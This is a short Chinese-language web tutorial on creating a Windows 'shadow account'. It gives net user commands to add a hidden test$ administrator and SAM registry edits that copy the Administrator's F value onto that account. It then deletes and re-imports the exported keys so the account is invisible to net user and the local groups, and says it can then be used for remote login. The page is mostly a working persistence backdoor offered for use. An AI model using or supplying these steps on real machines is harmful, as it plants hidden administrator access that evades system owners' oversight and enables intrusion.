您当前的位置:首页 > 计算机 > 系统应用 > Windows

windows创建影子账户

时间:11-07来源:作者:点击数:

1、创建隐藏账户并加入管理员组

net user test$ 123456 /add
net localgroup administrators test$ /add

2、运行regedit打开注册表

HKEY_LOCAL_MACHINE/SAM/SAM右键->权限赋予当前用户administrator的具有完全控制和读取权限

在这里插入图片描述

3、重新打开注册表,定位到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

查看administrator对应的键值为1f4和隐藏账户test$的键值为3e9

然后在Users中找到对应数字的F值,将3e9的F值替换为1f4的F值

在这里插入图片描述

将00003e9和test$按顺序导出为1.reg和2.reg

4、然后命令行中删除隐藏用户

net user test$ /del

5、按顺序点击刚才导出的reg文件,重新导入

6、重新添加到管理员组

net localgroup administrators test$ /add

此时命令行和本地用户组都查不到test$这个账户,只有注册表可以看到,我们就可以用这个影子账户进行远程登录

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门